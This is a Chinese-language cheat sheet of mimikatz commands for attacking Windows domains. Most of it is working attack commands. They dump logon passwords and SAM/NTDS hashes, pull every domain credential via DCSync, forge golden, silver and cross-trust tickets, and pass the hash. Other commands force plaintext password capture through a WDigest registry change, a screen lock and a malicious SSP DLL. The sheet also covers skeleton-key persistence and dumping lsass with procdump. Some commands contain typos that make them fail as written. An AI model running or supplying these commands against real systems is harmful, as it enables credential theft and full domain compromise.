mimikatz常用命令总结

前言

在管理员权限下使用，如果没有管理员权限，基本每个功能都无法正常使用，切记。

命令

补充：
::命令可以查看帮助信息

普通管理员权限可以执行的命令(密码查询与权限检测与日志记录)

lsadump::lsa /inject 查看ntds.dit与sam文件的信息,如果没有查看ntds.dit的就只查看sam

privilege::debug 打开第一个命令，且必须执行。
log 将这条命令执行后的所谓有输出存在当前目录下的mimikatz.log文件中。

sekurlsa::logonpasswords 列出已登陆用户的密码（比较常用）

域控权限才能执行的命令

lsadump::dcsync /domain:test.com /user:krbtgt 输出指定用户的密码信息

lsadump::dcsync /domain:test.com /all /csv 列出域内所有用户的账号密码

黄金票据相关

清除与查询票据信息

kerberos::list 列出说所有票据
kerberos::purge 删除所有票据

sekurlsa::kerberos 列出已被验证的kerberos凭证（几乎没用过且只能在域内使用）

sekurlsa::tickets /export 列出所有票据（基本没用过且只能在域内用）

制作票据

使用nthash制作票据

kerberos::golden /user:Administrator /domain:test.com /sid:S-1-5-21-4166986646-4168497534-2490551922 /krbtgt:308390d1ca7addf22c84ba9f1d26cbe4 /ticket:1.kirbi

使用krbtgt的hash值：

kerberos::gloden /user:Administrator /domain:xxx.xxx.xxx /sid:xxxxxxxxxxxxx krbtgt:ntlm-hashvlaue /ticket:test.kribi

使用krbtgt的aes256值：

kerberos::gloden /domain:xxx.xxx /sid:xxxxxxxxxxx /aes256:xxxxxxxx /user:Administrator /ticket:test.kribi

pth攻击：

sekurlsa::pth /user:Administrator /domain:test.com /ntlm:3dbde697d71690a769204beb12283678
lsadump::dcsync /domain:test.com /all /csv

加载票据到缓存

kerberos::ptt 1.kirbi

破解sam文件

lsadump::sam /sam:sam.hiv /system:system.hiv

明文密码抓取

读取windows明文密码思路

1.修改注册表让mimikatz可以读取明文密码，然后使用cmd锁屏让用户重新登陆。
#开启wdigest Auth读取明文密码

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

#强制锁屏

rundll32 user32.dll,LockWorkStation

#读取密码

mimikatz.exe log privilege::Debug sekurlsa::logonpasswords exit
type mimikatz.log | find /i "password"

2.使用mimikatz的ssp，然后使用cmd让屏幕锁屏。

copy mimilib1.dll C:\Windows\System32\

reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "C:\Windows\System32\mimilib1.dll" /t REG_MULTI_SZ /

mimikatz.exe privilege::debug misc::memssp exit

rundll32 user32.dll,LockWorkStation


type C:\Windows\System32\mimilsa.log

制作白银票据

kerberos::golden /user:administrator /domain:wlaq.com /sid:S-1-5-21-4207138187-2036730068-1601168572 /target:dc01.wlaq.com /rc4:a5974b890979d0d0ff123262b14449d1 /service:cifs /ptt

制作一个跨信任域的黄金票据

1. 当前域的krbtgt密码
2. Enterprise Admins组任意用户的sid
3. 域之间互相信任。
4. 当前域的sid。

mimikatz.exe "kerberos::golden /user:anyusername sids:[EA组的sid] /sid:[lab.adsec.com域的sid] /domain:lab.adsec.com /krbtgt:16ed27ee7848756cfa96b33c25e3ad3d /ptt" exit

Get-ADGroup -Identity “Enterprise Admins” #查询EA组的sid

#查询域内所有的组
ldapsearch -LLL -x -H ldap://172.24.6.11:389 -D “username” -w “password” -b CN=Users,DC=first,DC=test,DC=com “(objectClass=group)”|grep “sAMAccountName”

#查准Enterprise Admins组中有谁
ldapsearch -LLL -x -H ldap://172.24.6.11:389 -D “username” -w “password” -b CN=“Enterprise Admins”,CN=Users,DC=first,DC=test,DC=com | grep “member”

#查询组内用户的sid

ldapsearch -LLL -x -H ldap://172.24.6.11:389 -D “username” -w “password” -b "CN=Administrator,CN=Users,DC=first,DC=test,DC=com " | grep objectSid
这个查出来的是乱码，看似是base64但是无法解密。

可以使用powerview或者adfind获取用户的sid。

使用skeleton key进行权限维持与恢复cmd禁用

1.skeleton key设置，这样子域内任意用户相当于都有了双重密码，除原密码外，mimikatz这个密码也可以进行登录。

privilege::debug
misc::skeleton

2.恢复被禁用的cmd等命令
有时候域管理员会禁用cmd等命令，这时候我们可以使用mimikatz进行恢复

privilege::debug
misc::cmd
misc::regedit
misc::taskmgr

补充

procdump

#拉出lsass的内存并保存成文件
procdump.exe -accepteula -ma lsass.exe lsass.dmp

#破解内存中的密码
sekurlsa::minidump lass.dmp
sekurlsa::logonpasswords

参考文章

参考
mimikatz使用方法
mimikatz明文密码抓取